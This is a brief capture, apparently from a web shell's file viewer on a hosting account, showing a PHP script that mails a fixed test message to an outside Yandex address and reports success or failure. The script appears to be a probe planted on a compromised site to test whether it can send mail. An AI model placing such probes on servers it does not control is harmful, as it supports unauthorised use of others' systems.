| Current Path : /home/bintopia/.trash/wpzi/ |
| Current File : /home/bintopia/.trash/wpzi/ass.php |
<?php
// the message
$msg = "First line of text\nSecond line of text";
// use wordwrap() if lines are longer than 70 characters
$msg = wordwrap($msg,70);
// send email
$success = mail('cyraxrb@yandex.com', 'My Subject', $msg);
if (!$success) {
$errorMessage = error_get_last()['message'];
echo $errorMessage;
}
else{
echo "Email sent successfully";
}
?>